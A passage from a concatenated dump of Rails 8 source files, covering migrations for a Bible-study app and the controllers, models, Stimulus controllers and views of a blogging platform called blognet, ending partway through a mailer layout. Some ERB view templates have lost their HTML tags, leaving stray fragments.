`rails/baibl/db/migrate/20260507120003_create_verses.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateVerses &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :verses do |t|\n      t.references :chapter, foreign_key: true\n      t.references :book, foreign_key: true\n      t.integer :number\n      t.text :content\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/baibl/db/migrate/20260507120004_create_highlights.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateHighlights &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :highlights do |t|\n      t.references :verse, foreign_key: true\n      t.references :user, foreign_key: true\n      t.string :color\n      t.text :note\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/baibl/db/migrate/20260507120005_create_bookmarks.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateBookmarks &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :bookmarks do |t|\n      t.references :verse, foreign_key: true\n      t.references :user, foreign_key: true\n      t.text :note\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/baibl/db/migrate/20260507120006_create_reading_plans.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateReadingPlans &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :reading_plans do |t|\n      t.string :name\n      t.text :description\n      t.integer :duration_days\n      t.references :user, foreign_key: true\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/baibl/db/migrate/20260507120007_create_reading_plan_days.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateReadingPlanDays &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :reading_plan_days do |t|\n      t.references :reading_plan, foreign_key: true\n      t.integer :day_number\n      t.references :book, foreign_key: true\n      t.integer :chapter_start\n      t.integer :chapter_end\n      t.datetime :completed_at\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/baibl/db/migrate/20260507120008_create_cross_references.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateCrossReferences &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :cross_references do |t|\n      t.references :verse,        null: false, foreign_key: true\n      t.references :target_verse, null: false, foreign_key: { to_table: :verses }\n      t.string     :kind          # lexical | thematic | parallel | typological | fulfillment\n      t.text       :note\n      t.timestamps\n    end\n    add_index :cross_references, %i[verse_id target_verse_id], unique: true\n  end\nend\n```\n\n## `rails/baibl/db/migrate/20260507120009_create_word_studies.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateWordStudies &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :word_studies do |t|\n      t.references :verse,    null: false, foreign_key: true\n      t.integer    :position, null: false   # 0-indexed word position in verse\n      t.string     :word,     null: false   # surface form\n      t.string     :original                # Hebrew / Greek / Arabic\n      t.string     :transliteration\n      t.string     :strongs                 # H1234 or G5678\n      t.string     :language                # hebrew | greek | arabic\n      t.text       :definition\n      t.timestamps\n    end\n    add_index :word_studies, %i[verse_id position], unique: true\n  end\nend\n```\n\n## `rails/baibl/db/migrate/20260528000100_create_verses_fts.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateVersesFts &lt; ActiveRecord::Migration[8.1]\n  def up\n    execute &lt;&lt;~SQL\n      CREATE VIRTUAL TABLE verses_fts USING fts5(\n        content,\n        content='verses', content_rowid='id',\n        tokenize='unicode61'\n      );\n      INSERT INTO verses_fts(rowid, content) SELECT id, content FROM verses;\n      CREATE TRIGGER verses_ai AFTER INSERT ON verses BEGIN\n        INSERT INTO verses_fts(rowid, content) VALUES (new.id, new.content);\n      END;\n      CREATE TRIGGER verses_au AFTER UPDATE ON verses BEGIN\n        INSERT INTO verses_fts(verses_fts, rowid, content)\n          VALUES ('delete', old.id, old.content);\n        INSERT INTO verses_fts(rowid, content) VALUES (new.id, new.content);\n      END;\n      CREATE TRIGGER verses_ad AFTER DELETE ON verses BEGIN\n        INSERT INTO verses_fts(verses_fts, rowid, content)\n          VALUES ('delete', old.id, old.content);\n      END;\n    SQL\n  end\n\n  def down\n    execute \"DROP TABLE IF EXISTS verses_fts\"\n    execute \"DROP TRIGGER IF EXISTS verses_ai\"\n    execute \"DROP TRIGGER IF EXISTS verses_au\"\n    execute \"DROP TRIGGER IF EXISTS verses_ad\"\n  end\nend\n```\n\n## `rails/baibl/db/seeds.rb`\n```ruby\n# frozen_string_literal: true\n\n# This file should ensure the existence of records required to run the application in every environment (production,\n# development, test). The code here should be idempotent so that it can be executed at any point in every environment.\n# The data can then be loaded with the bin/rails db:seed command (or created alongside the database with db:setup).\n#\n# Example:\n#\n#   [\"Action\", \"Comedy\", \"Drama\", \"Horror\"].each do |genre_name|\n#     MovieGenre.find_or_create_by!(name: genre_name)\n#   end\n```\n\n## `rails/blognet/Gemfile`\n```text\nsource \"https://rubygems.org\"\nruby \"~&gt; 3.4\"\n\n# Bundle edge Rails instead: gem \"rails\", github: \"rails/rails\", branch: \"main\"\ngem \"rails\", \"~&gt; 8.1.2\"\n# The modern asset pipeline for Rails [https://github.com/rails/propshaft]\ngem \"propshaft\"\n# Use sqlite3 as the database for Active Record\ngem \"sqlite3\", \"&gt;= 2.1\"\n# Use the Puma web server [https://github.com/puma/puma]\n# Use JavaScript with ESM import maps [https://github.com/rails/importmap-rails]\ngem \"importmap-rails\"\n# Hotwire's SPA-like page accelerator [https://turbo.hotwired.dev]\ngem \"turbo-rails\"\n# Hotwire's modest JavaScript framework [https://stimulus.hotwired.dev]\ngem \"stimulus-rails\"\n# Build JSON APIs with ease [https://github.com/rails/jbuilder]\ngem \"jbuilder\"\n\n# Use Active Model has_secure_password [https://guides.rubyonrails.org/active_model_basics.html#securepassword]\ngem \"bcrypt\", \"~&gt; 3.1.7\"\n\n# Windows does not include zoneinfo files, so bundle the tzinfo-data gem\ngem \"tzinfo-data\", platforms: %i[ windows jruby ]\n\n# Use the database-backed adapters for Rails.cache, Active Job, and Action Cable\ngem \"solid_cache\"\ngem \"solid_queue\"\ngem \"solid_cable\"\n\n# Reduces boot times through caching; required in config/boot.rb\ngem \"bootsnap\", require: false\n\n# Use Active Storage variants [https://guides.rubyonrails.org/active_storage_overview.html#transforming-images]\ngem \"image_processing\", \"~&gt; 1.2\"\n\ngroup :development, :test do\n  # See https://guides.rubyonrails.org/debugging_rails_applications.html#debugging-with-the-debug-gem\n  gem \"debug\", platforms: %i[ mri windows ], require: \"debug/prelude\"\n\n  # Audits gems for known security defects (use config/bundler-audit.yml to ignore issues)\n  gem \"bundler-audit\", require: false\n\n  # Static analysis for security vulnerabilities [https://brakemanscanner.org/]\n  gem \"brakeman\", require: false\n\n  # Omakase Ruby styling [https://github.com/rails/rubocop-rails-omakase/]\n  gem \"rubocop-rails-omakase\", require: false\nend\n\ngroup :development do\n  # Use console on exceptions pages [https://github.com/rails/web-console]\n  gem \"web-console\"\nend\ngem \"pagy\"\ngem \"friendly_id\"\ngem \"falcon\"\n```\n\n## `rails/blognet/README.md`\n```markdown\n# blognet\n\nblognet is the publishing and editorial network product.\n\nIt should mirror a standard Rails application structure:\n\n- app\n- config\n- db\n- lib\n- public\n- storage\n- test\n\n## Product role\n\nblognet is a semantic publishing and knowledge platform built on Rails 8.\n\nIt combines longform writing, semantic discovery, AI-assisted editing, creator subscriptions, recipe/editorial verticals, and knowledge graph navigation into one durable publishing system.\n\n## Core ownership\n\nblognet owns:\n\n- blogs\n- posts\n- recipes\n- categories\n- tags\n- editorial workflows\n- media embeds\n- comments\n- feeds\n- structured article metadata\n- author profiles\n- publication discovery\n- semantic search\n- knowledge graph indexing\n\n## Foodielicious\n\nFoodielicious is the food vertical inside blognet.\n\nPublic brand:\n\nfoodielicio.us\n\nFoodielicious direction:\n\n- recipe-first editorial UX\n- rich media galleries\n- structured recipe schema\n- ingredient metadata\n- step-by-step cooking views\n- short-form food clips\n- locality-aware restaurant and ingredient references\n- recipe collections and playlists\n- seasonal food guides\n- Norwegian food culture coverage\n\nThe inspiration is Matprat-style usefulness: recipes, guides, editorial food knowledge, seasonal collections, and practical cooking flows. The implementation, branding, copy, and visual identity should remain original.\n\n## Shared platform dependencies\n\nblognet should integrate with shared Rails platform systems:\n\n- identity\n- media pipeline\n- comments\n- moderation\n- search\n- notifications\n- analytics\n- structured data helpers\n- Stimulus component registry\n\n## Frontend direction\n\nUse:\n\n- Stimulus Components\n- stimulus-lightbox\n- lightGallery.js\n- Turbo\n- importmap\n\nThe public product should feel editorial and locality-aware, not like a generic CMS.\n\n## Features\n\n- longform publishing\n- semantic search\n- memberships\n- subscriptions\n- AI narration\n- semantic clustering\n- citation systems\n- topic exploration\n- recipe publishing\n- media galleries\n- food verticals\n\n## Systems to build next\n\n### Multimedia conversion\n\nConvert:\n\n- articles to podcast\n- articles to summaries\n- articles to video\n- articles to threads\n\n### Research mode\n\nSupport:\n\n- semantic note systems\n- source clustering\n- timeline generation\n- knowledge archives\n\n### Recipe mode\n\nSupport:\n\n- ingredients\n- methods\n- cook time\n- difficulty\n- nutrition metadata\n- recipe cards\n- collections\n- gallery/video support\n\n## Stack\n\nRails 8, PostgreSQL, pgvector, Hotwire, OpenBSD.\n\n## AI direction\n\nUse embeddings, semantic retrieval, GraphRAG, clustering, and knowledge graph indexing.\n\n## Deploy\n\ncd ~/pub4/DEPLOY/rails/blognet\n\ndoas zsh blognet.sh\n\n## Long-term goal\n\nBuild a durable semantic publishing and knowledge network for independent writers and high-quality editorial verticals.\n```\n\n## `rails/blognet/app/channels/application_cable/connection.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule ApplicationCable\n  class Connection &lt; ActionCable::Connection::Base\n    identified_by :current_user\n\n    def connect\n      set_current_user || reject_unauthorized_connection\n    end\n\n    private\n      def set_current_user\n        if session = Session.find_by(id: cookies.signed[:session_id])\n          self.current_user = session.user\n        end\n      end\n  end\nend\n```\n\n## `rails/blognet/app/controllers/application_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass ApplicationController &lt; ActionController::Base\n  include Authentication\n  include Pagy::Method\n  allow_browser versions: :modern\nend\n```\n\n## `rails/blognet/app/controllers/blogs_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass BlogsController &lt; ApplicationController\n  before_action :require_authentication, except: %i[index show]\n  before_action :set_blog, only: %i[show edit update destroy]\n  before_action :authorize!, only: %i[edit update destroy]\n\n  def index\n    @pagy, @blogs = pagy(Blog.published.includes(:user).recent)\n  end\n\n  def show\n    @pagy, @posts = pagy(@blog.posts.published.includes(:user, :tags))\n  end\n\n  def new\n    @blog = Current.user.blogs.build\n  end\n\n  def create\n    @blog = Current.user.blogs.build(blog_params)\n    @blog.save ? redirect_to(@blog, notice: \"Blog created\") : render(:new, status: :unprocessable_entity)\n  end\n\n  def edit; end\n\n  def update\n    @blog.update(blog_params) ? redirect_to(@blog, notice: \"Updated\") : render(:edit, status: :unprocessable_entity)\n  end\n\n  def destroy\n    @blog.destroy\n    redirect_to blogs_path, notice: \"Blog deleted\"\n  end\n\n  private\n\n  def set_blog   = @blog = Blog.find_by!(slug: params[:id])\n  def authorize! = redirect_to(blogs_path, alert: \"Unauthorized\") unless @blog.user == Current.user\n  def blog_params = params.require(:blog).permit(:name, :description, :published, :banner)\nend\n```\n\n## `rails/blognet/app/controllers/comments_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CommentsController &lt; ApplicationController\n  before_action :require_authentication\n  before_action :set_post\n\n  def create\n    @comment = @post.comments.build(comment_params.merge(user: Current.user))\n    if @comment.save\n      respond_to do |format|\n        format.turbo_stream\n        format.html { redirect_to [@post.blog, @post] }\n      end\n    else\n      render :new, status: :unprocessable_entity\n    end\n  end\n\n  def destroy\n    @comment = @post.comments.find(params[:id])\n    @comment.destroy! if @comment.user == Current.user\n    respond_to do |format|\n      format.turbo_stream\n      format.html { redirect_to [@post.blog, @post] }\n    end\n  end\n\n  private\n\n  def set_post = @post = Post.find_by!(slug: params[:post_id])\n\n  def comment_params\n    params.require(:comment).permit(:content, :parent_id)\n  end\nend\n```\n\n## `rails/blognet/app/controllers/concerns/authentication.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Authentication\n  extend ActiveSupport::Concern\n\n  included do\n    before_action :require_authentication\n    helper_method :authenticated?\n  end\n\n  class_methods do\n    def allow_unauthenticated_access(**options)\n      skip_before_action :require_authentication, **options\n    end\n  end\n\n  private\n    def authenticated?\n      resume_session\n    end\n\n    def require_authentication\n      resume_session || request_authentication\n    end\n\n    def resume_session\n      Current.session ||= find_session_by_cookie\n    end\n\n    def find_session_by_cookie\n      Session.find_by(id: cookies.signed[:session_id]) if cookies.signed[:session_id]\n    end\n\n    def request_authentication\n      session[:return_to_after_authenticating] = request.url\n      redirect_to new_session_path\n    end\n\n    def after_authentication_url\n      session.delete(:return_to_after_authenticating) || root_url\n    end\n\n    def start_new_session_for(user)\n      user.sessions.create!(user_agent: request.user_agent, ip_address: request.remote_ip).tap do |session|\n        Current.session = session\n        cookies.signed.permanent[:session_id] = { value: session.id, httponly: true, same_site: :lax }\n      end\n    end\n\n    def terminate_session\n      Current.session.destroy\n      cookies.delete(:session_id)\n    end\nend\n```\n\n## `rails/blognet/app/controllers/passwords_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass PasswordsController &lt; ApplicationController\n  allow_unauthenticated_access\n  before_action :set_user_by_token, only: %i[ edit update ]\n  rate_limit to: 10, within: 3.minutes, only: :create, with: -&gt; { redirect_to new_password_path, alert: \"Try again later.\" }\n\n  def new\n  end\n\n  def create\n    if user = User.find_by(email_address: params[:email_address])\n      PasswordsMailer.reset(user).deliver_later\n    end\n\n    redirect_to new_session_path, notice: \"Password reset instructions sent (if user with that email address exists).\"\n  end\n\n  def edit\n  end\n\n  def update\n    if @user.update(params.permit(:password, :password_confirmation))\n      @user.sessions.destroy_all\n      redirect_to new_session_path, notice: \"Password has been reset.\"\n    else\n      redirect_to edit_password_path(params[:token]), alert: \"Passwords did not match.\"\n    end\n  end\n\n  private\n    def set_user_by_token\n      @user = User.find_by_password_reset_token!(params[:token])\n    rescue ActiveSupport::MessageVerifier::InvalidSignature\n      redirect_to new_password_path, alert: \"Password reset link is invalid or has expired.\"\n    end\nend\n```\n\n## `rails/blognet/app/controllers/posts_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass PostsController &lt; ApplicationController\n  before_action :require_authentication, except: %i[index show]\n  before_action :set_blog\n  before_action :set_post, only: %i[show edit update destroy]\n  before_action :authorize!, only: %i[edit update destroy]\n\n  def index\n    @pagy, @posts = pagy(@blog.posts.published.includes(:user, :tags))\n  end\n\n  def show\n    @post.increment!(:views_count)\n    @comments = @post.comments.approved.roots.includes(:user, :replies)\n    @comment  = Comment.new\n  end\n\n  def new\n    @post = @blog.posts.build\n  end\n\n  def create\n    @post = @blog.posts.build(post_params.merge(user: Current.user))\n    @post.save ? redirect_to([@blog, @post], notice: \"Post created\") : render(:new, status: :unprocessable_entity)\n  end\n\n  def edit; end\n\n  def update\n    @post.update(post_params) ? redirect_to([@blog, @post], notice: \"Updated\") : render(:edit, status: :unprocessable_entity)\n  end\n\n  def destroy\n    @post.destroy\n    redirect_to @blog, notice: \"Post deleted\"\n  end\n\n  private\n\n  def set_blog   = @blog = Blog.find_by!(slug: params[:blog_id])\n  def set_post   = @post = @blog.posts.find_by!(slug: params[:id])\n  def authorize! = redirect_to(@blog, alert: \"Unauthorized\") unless @post.user == Current.user\n\n  def post_params\n    params.require(:post).permit(:title, :body, :published, :slug, images: [])\n  end\nend\n```\n\n## `rails/blognet/app/controllers/sessions_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass SessionsController &lt; ApplicationController\n  allow_unauthenticated_access only: %i[ new create ]\n  rate_limit to: 10, within: 3.minutes, only: :create, with: -&gt; { redirect_to new_session_path, alert: \"Try again later.\" }\n\n  def new\n  end\n\n  def create\n    if user = User.authenticate_by(params.permit(:email_address, :password))\n      start_new_session_for user\n      redirect_to after_authentication_url\n    else\n      redirect_to new_session_path, alert: \"Try another email address or password.\"\n    end\n  end\n\n  def destroy\n    terminate_session\n    redirect_to new_session_path, status: :see_other\n  end\nend\n```\n\n## `rails/blognet/app/javascript/application.js`\n```javascript\n// Configure your import map in config/importmap.rb. Read more: https://github.com/rails/importmap-rails\nimport \"@hotwired/turbo-rails\"\nimport \"controllers\"\n\nif (\"serviceWorker\" in navigator) navigator.serviceWorker.register(\"/service-worker\")\n\n// Nav swipe-to-reveal\ndocument.addEventListener(\"turbo:load\", () =&gt; {\n  const nav = document.querySelector(\"nav\");\n  if (!nav) return;\n  let y0 = 0;\n  document.addEventListener(\"touchstart\", e =&gt; { y0 = e.touches[0].clientY; }, { passive: true });\n  document.addEventListener(\"touchend\", e =&gt; {\n    const dy = e.changedTouches[0].clientY - y0;\n    if (dy &gt; 40) nav.classList.add(\"nav-visible\");\n    else if (dy &lt; -40) nav.classList.remove(\"nav-visible\");\n  }, { passive: true });\n});\n```\n\n## `rails/blognet/app/javascript/controllers/animated_number_controller.js`\n```javascript\nimport AnimatedNumber from \"@stimulus-components/animated-number\"\nexport default class extends AnimatedNumber {}\n```\n\n## `rails/blognet/app/javascript/controllers/application.js`\n```javascript\nimport { Application } from \"@hotwired/stimulus\"\n\nconst application = Application.start()\n\n// Configure Stimulus development experience\napplication.debug = false\nwindow.Stimulus   = application\n\nexport { application }\n```\n\n## `rails/blognet/app/javascript/controllers/application_controller.js`\n```javascript\nimport { Controller } from \"@hotwired/stimulus\"\nimport StimulusReflex from \"stimulus_reflex\"\n\nexport default class extends Controller {\n  connect() {\n    StimulusReflex.register(this)\n  }\n}\n```\n\n## `rails/blognet/app/javascript/controllers/auto_submit_controller.js`\n```javascript\nimport AutoSubmit from \"@stimulus-components/auto-submit\"\nexport default class extends AutoSubmit {}\n```\n\n## `rails/blognet/app/javascript/controllers/character_counter_controller.js`\n```javascript\nimport CharacterCounter from \"@stimulus-components/character-counter\"\nexport default class extends CharacterCounter {}\n```\n\n## `rails/blognet/app/javascript/controllers/clipboard_controller.js`\n```javascript\nimport Clipboard from \"@stimulus-components/clipboard\"\nexport default class extends Clipboard {}\n```\n\n## `rails/blognet/app/javascript/controllers/dialog_controller.js`\n```javascript\nimport Dialog from \"@stimulus-components/dialog\"\nexport default class extends Dialog {}\n```\n\n## `rails/blognet/app/javascript/controllers/dropdown_controller.js`\n```javascript\nimport Dropdown from \"@stimulus-components/dropdown\"\nexport default class extends Dropdown {}\n```\n\n## `rails/blognet/app/javascript/controllers/hello_controller.js`\n```javascript\nimport { Controller } from \"@hotwired/stimulus\"\n\nexport default class extends Controller {\n  connect() {\n    this.element.textContent = \"Hello World!\"\n  }\n}\n```\n\n## `rails/blognet/app/javascript/controllers/index.js`\n```javascript\nimport { application } from \"controllers/application\"\nimport { eagerLoadControllersFrom } from \"@hotwired/stimulus-loading\"\nimport StimulusReflex from \"stimulus_reflex\"\nimport ApplicationController from \"controllers/application_controller\"\n\neagerLoadControllersFrom(\"controllers\", application)\n\nStimulusReflex.initialize(application, { applicationController: ApplicationController, isolate: true })\n```\n\n## `rails/blognet/app/javascript/controllers/notification_controller.js`\n```javascript\nimport Notification from \"@stimulus-components/notification\"\nexport default class extends Notification {}\n```\n\n## `rails/blognet/app/javascript/controllers/sortable_controller.js`\n```javascript\nimport Sortable from \"@stimulus-components/sortable\"\nexport default class extends Sortable {}\n```\n\n## `rails/blognet/app/javascript/controllers/textarea_autogrow_controller.js`\n```javascript\nimport { Controller } from \"@hotwired/stimulus\"\n\nexport default class extends Controller {\n  connect() {\n    this.resize()\n    this.element.addEventListener(\"input\", this.resize)\n  }\n\n  disconnect() {\n    this.element.removeEventListener(\"input\", this.resize)\n  }\n\n  resize = () =&gt; {\n    this.element.style.height = \"auto\"\n    this.element.style.height = `${this.element.scrollHeight}px`\n  }\n}\n```\n\n## `rails/blognet/app/javascript/controllers/timeago_controller.js`\n```javascript\nimport TimeAgo from \"@stimulus-components/timeago\"\nexport default class extends TimeAgo {}\n```\n\n## `rails/blognet/app/mailers/passwords_mailer.rb`\n```ruby\n# frozen_string_literal: true\n\nclass PasswordsMailer &lt; ApplicationMailer\n  def reset(user)\n    @user = user\n    mail subject: \"Reset your password\", to: user.email_address\n  end\nend\n```\n\n## `rails/blognet/app/models/blog.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Blog &lt; ApplicationRecord\n  belongs_to :user\n  has_many :posts, dependent: :destroy\n  has_one_attached :banner\n\n  validates :name, :slug, presence: true\n  validates :slug, uniqueness: true, format: { with: /\\A[a-z0-9-]+\\z/ }\n\n  before_validation :generate_slug, on: :create\n\n  scope :published, -&gt; { where(published: true) }\n  scope :recent,    -&gt; { order(created_at: :desc) }\n\n  def to_param = slug\n\n  private\n\n  def generate_slug\n    self.slug ||= name.to_s.parameterize\n  end\nend\n```\n\n## `rails/blognet/app/models/categorization.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Categorization &lt; ApplicationRecord\n  belongs_to :post\n  belongs_to :category\n\n  validates :post_id, uniqueness: { scope: :category_id }\nend\n```\n\n## `rails/blognet/app/models/category.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Category &lt; ApplicationRecord\n  has_many :categorizations, dependent: :destroy\n  has_many :posts, through: :categorizations\n\n  validates :name, :slug, presence: true\n  validates :slug, uniqueness: true, format: { with: /\\A[a-z0-9-]+\\z/ }\n\n  before_validation :generate_slug, on: :create\n\n  def to_param = slug\n\n  private\n\n  def generate_slug\n    self.slug ||= name.to_s.parameterize\n  end\nend\n```\n\n## `rails/blognet/app/models/comment.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Comment &lt; ApplicationRecord\n  belongs_to :post\n  belongs_to :user\n  belongs_to :parent, class_name: \"Comment\", optional: true\n  has_many :replies, class_name: \"Comment\", foreign_key: :parent_id, dependent: :destroy\n\n  validates :content, presence: true, length: { maximum: 5000 }\n\n  scope :roots,    -&gt; { where(parent_id: nil).order(created_at: :asc) }\n  scope :approved, -&gt; { where(approved: true) }\n\n  after_create_commit :broadcast_comment\n\n  private\n\n  def broadcast_comment\n    broadcast_append_to [post, \"comments\"], partial: \"comments/comment\", locals: { comment: self }\n    post.increment!(:comments_count)\n  end\nend\n```\n\n## `rails/blognet/app/models/current.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Current &lt; ActiveSupport::CurrentAttributes\n  attribute :session\n  delegate :user, to: :session, allow_nil: true\nend\n```\n\n## `rails/blognet/app/models/post.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Post &lt; ApplicationRecord\n  belongs_to :blog\n  belongs_to :user\n  has_rich_text :body\n  has_many_attached :images\n  has_many :comments, dependent: :destroy\n  has_many :categorizations, dependent: :destroy\n  has_many :categories, through: :categorizations\n  has_many :taggings, dependent: :destroy\n  has_many :tags, through: :taggings\n\n  validates :title, :slug, presence: true\n  validates :slug, uniqueness: true, format: { with: /\\A[a-z0-9-]+\\z/ }\n\n  before_validation :generate_slug, on: :create\n  before_save :set_published_at\n\n  scope :published, -&gt; { where(published: true).order(published_at: :desc) }\n  scope :drafts,    -&gt; { where(published: false) }\n  scope :recent,    -&gt; { order(created_at: :desc) }\n\n  def to_param = slug\n\n  def reading_time\n    words = body.to_plain_text.split.size\n    [(words / 200.0).ceil, 1].max\n  end\n\n  private\n\n  def generate_slug\n    self.slug ||= title.to_s.parameterize\n  end\n\n  def set_published_at\n    self.published_at = Time.current if published? &amp;&amp; published_at.nil?\n  end\nend\n```\n\n## `rails/blognet/app/models/session.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Session &lt; ApplicationRecord\n  belongs_to :user\nend\n```\n\n## `rails/blognet/app/models/tag.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Tag &lt; ApplicationRecord\n  has_many :taggings, dependent: :destroy\n  has_many :posts, through: :taggings\n\n  validates :name, presence: true, uniqueness: true\n\n  before_validation -&gt; { self.name = name.to_s.strip.downcase }, on: :create\n\n  scope :popular, -&gt; { where(\"posts_count &gt; 0\").order(posts_count: :desc) }\nend\n```\n\n## `rails/blognet/app/models/tagging.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Tagging &lt; ApplicationRecord\n  belongs_to :post\n  belongs_to :tag, counter_cache: :posts_count\n\n  validates :post_id, uniqueness: { scope: :tag_id }\nend\n```\n\n## `rails/blognet/app/models/user.rb`\n```ruby\n# frozen_string_literal: true\n\nclass User &lt; ApplicationRecord\n  has_secure_password\n  has_many :sessions, dependent: :destroy\n\n  normalizes :email_address, with: -&gt;(e) { e.strip.downcase }\nend\n```\n\n## `rails/blognet/app/reflexes/application_reflex.rb`\n```ruby\n# frozen_string_literal: true\n\nclass ApplicationReflex &lt; StimulusReflex::Reflex\nend\n```\n\n## `rails/blognet/app/views/active_storage/blobs/_blob.html.erb`\n```erb\n\n attachment--&lt;%= blob.filename.extension %&gt;\"&gt;\n  &lt;% if blob.representable? %&gt;\n    &lt;%= image_tag blob.representation(resize_to_limit: local_assigns[:in_gallery] ? [ 800, 600 ] : [ 1024, 768 ]) %&gt;\n  &lt;% end %&gt;\n\n  \n\n    &lt;% if caption = blob.try(:caption) %&gt;\n      &lt;%= caption %&gt;\n    &lt;% else %&gt;\n      &lt;%= blob.filename %&gt;\n      &lt;%= number_to_human_size blob.byte_size %&gt;\n    &lt;% end %&gt;\n  \n\n```\n\n## `rails/blognet/app/views/blogs/_form.html.erb`\n```erb\n&lt;%= form_with model: blog do |f| %&gt;\n  &lt;%= render \"shared/errors\", object: blog %&gt;\n  \n&lt;%= f.label :name %&gt;&lt;%= f.text_field :name, autofocus: true %&gt;\n  \n&lt;%= f.label :description %&gt;&lt;%= f.text_area :description, rows: 2 %&gt;\n  \n&lt;%= f.label :published %&gt;&lt;%= f.check_box :published %&gt;\n  \n&lt;%= f.submit %&gt; &lt;%= link_to \"Cancel\", blogs_path %&gt;\n&lt;% end %&gt;\n```\n\n## `rails/blognet/app/views/blogs/edit.html.erb`\n```erb\n&lt;% content_for :title, \"Edit blog\" %&gt;\n\nEdit &lt;%= @blog.name %&gt;\n&lt;%= render \"form\", blog: @blog %&gt;\n```\n\n## `rails/blognet/app/views/blogs/index.html.erb`\n```erb\n&lt;% content_for :title, \"Blogs\" %&gt;\n\n\n  \nBlogs\n  &lt;% if authenticated? %&gt;&lt;%= link_to \"New blog\", new_blog_path %&gt;&lt;% end %&gt;\n\n\n\n  &lt;% @blogs.each do |blog| %&gt;\n    \n\n      &lt;%= link_to blog.name, blog_path(blog) %&gt;\n      \n&lt;%= blog.description %&gt;\n      &lt;%= blog.posts_count %&gt; posts\n    \n  &lt;% end %&gt;\n\n&lt;%= @pagy.series_nav if @pagy.pages &gt; 1 %&gt;\n```\n\n## `rails/blognet/app/views/blogs/new.html.erb`\n```erb\n&lt;% content_for :title, \"New blog\" %&gt;\n\nNew blog\n&lt;%= render \"form\", blog: @blog %&gt;\n```\n\n## `rails/blognet/app/views/blogs/show.html.erb`\n```erb\n&lt;% content_for :title, @blog.name %&gt;\n\n\n  \n&lt;%= @blog.name %&gt;\n  \n&lt;%= @blog.description %&gt;\n  &lt;% if @blog.user == Current.user %&gt;\n    &lt;%= link_to \"New post\", new_blog_post_path(@blog) %&gt;\n    &lt;%= link_to \"Edit\", edit_blog_path(@blog) %&gt;\n  &lt;% end %&gt;\n\n\n\n  &lt;% @posts.each do |post| %&gt;\n    \n\n      &lt;%= link_to post.title, blog_post_path(@blog, post) %&gt;\n      &lt;%= post.published_at&amp;.strftime(\"%b %-d, %Y\") %&gt; \u00b7 &lt;%= post.views_count %&gt; views \u00b7 &lt;%= post.comments_count %&gt; comments\n    \n  &lt;% end %&gt;\n\n&lt;%= @pagy.series_nav if @pagy.pages &gt; 1 %&gt;\n```\n\n## `rails/blognet/app/views/comments/_comment.html.erb`\n```erb\n\n\n  &lt;%= comment.user.email_address.split(\"@\").first %&gt;\n  \n&lt;%= comment.content %&gt;\n  &lt;% if authenticated? &amp;&amp; (comment.user == Current.user || @blog.user == Current.user) %&gt;\n    &lt;%= button_to \"Delete\", blog_post_comment_path(@blog, @post, comment), method: :delete %&gt;\n  &lt;% end %&gt;\n\n```\n\n## `rails/blognet/app/views/layouts/action_text/contents/_content.html.erb`\n```erb\n\n\n  &lt;%= yield -%&gt;\n\n```\n\n## `rails/blognet/app/views/layouts/application.html.erb`\n```erb\n\n\n\n  \n  \n  \n  \n  &lt;%= content_for?(:title) ? \"#{yield :title} \u2014 Blognet\" : \"Blognet\" %&gt;\n  \"&gt;\n  \"&gt;\n  \n  \"&gt;\n  \"&gt;\n  \n  \n  \n  \"&gt;\n  \"&gt;\n  &lt;%= csrf_meta_tags %&gt;\n  &lt;%= csp_meta_tag %&gt;\n  \n  \n  &lt;%= tag.link rel: \"manifest\", href: pwa_manifest_path(format: :json) %&gt;\n  &lt;%= stylesheet_link_tag :app, \"data-turbo-track\": \"reload\" %&gt;\n  \n  &lt;%= yield :json_ld %&gt;\n  &lt;%= javascript_importmap_tags %&gt;\n  \n\n\n\n\n  &lt;%= link_to \"Blognet\", root_path, class: \"brand\" %&gt;\n  &lt;%= link_to \"Blogs\", blogs_path %&gt;\n  &lt;% if authenticated? %&gt;\n    &lt;%= link_to \"New blog\", new_blog_path %&gt;\n    &lt;%= link_to \"Sign out\", session_path, data: { turbo_method: :delete } %&gt;\n  &lt;% else %&gt;\n    &lt;%= link_to \"Sign in\", new_session_path %&gt;\n  &lt;% end %&gt;\n\n&lt;%= tag.p(notice, role: \"status\", class: \"flash-notice\") if notice %&gt;\n&lt;%= tag.p(alert, role: \"alert\", class: \"flash-alert\") if alert %&gt;\n\n&lt;%= yield %&gt;\n\n\n```\n\n## `rails/blognet/app/views/layouts/mailer.html.erb`\n```erb\n\n\n  \n    \n    \n      /* Email styles need to be inline */\n    \n  \n\n  \n    &lt;%= yield 